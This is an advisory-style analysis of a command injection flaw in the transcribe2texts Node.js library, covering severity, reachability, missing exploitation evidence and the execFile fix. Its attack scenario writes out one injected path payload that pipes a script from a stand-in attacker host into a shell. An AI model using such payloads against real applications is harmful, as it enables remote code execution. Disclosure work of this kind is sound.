transcribe2texts CVE-2026-110643

Exploitation requires that a consuming application call transcribeAudio() and pass attacker-influenced data as the audioPath argument; that value is concatenated unescaped into python3 "scriptPath" "modelPath" "audioPath" and executed via child_process.exec(), so any $(), backtick, or quote-breaking payload in the path is interpreted by the shell. No special library configuration is needed and no authentication or user interaction is enforced by the library itself. The principal LIMITING factor is reachability: this is a library sink, so exploitation is only possible where the integrating application feeds untrusted input into audioPath - applications that hardcode or strictly validate the path are not exposed. Commands run only with the privileges of the Node.js process. Fixed in the patched version using execFile with an argument array (no shell).

All exploitability signals point in one direction: the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) describes network-reachable, low-complexity, unauthenticated exploitation with high confidentiality, integrity and availability impact to the vulnerable system (VC:H/VI:H/VA:H), consistent with a classic CWE-78 OS command injection and the 9.3 critical score. The vendor-confirmed patch (PR #1, replacing child_process.exec with execFile) and the GitHub source evidence corroborate the root cause, so the technical finding is high-confidence. However, several real-world-risk signals are MISSING and must not be presented as resolved: there is no EPSS score, no CISA KEV listing, and no indication of public exploit code in the input, so exploitation status is 'no public exploit identified at time of analysis.' A critical caveat tempers the AV:N rating: transcribe2texts is a Node.js LIBRARY, and audioPath is a function argument to transcribeAudio() - the vulnerability is only network-reachable if a downstream application feeds attacker-controlled input into that parameter. The CVSS:N/N/N therefore reflects a worst-case integration rather than a guaranteed remote exposure; verify whether the consuming application exposes audioPath to untrusted input. Net assessment: technically severe and trivially exploitable WHEN reachable, but real-world priority is tempered by the product's negligible deployment footprint and absence of any exploitation evidence - treat as a dependency-hygiene fix, not an emergency unless you ship this package in an exposed path.

An application embeds transcribe2texts (≤1.0.6) and passes a user-supplied file path or filename into transcribeAudio(audioPath); an attacker submits a value such as foo.wav"; $(curl attacker.sh|sh) # so that the unescaped string is concatenated into the python3 command and run by child_process.exec(). Because the path is interpreted by a shell, the injected $(), backticks, or closing-quote payload executes arbitrary commands with the privileges of the Node.js process. No public exploit code is identified in the provided data, though the root cause is fully disclosed in the GitHub source and patch diff.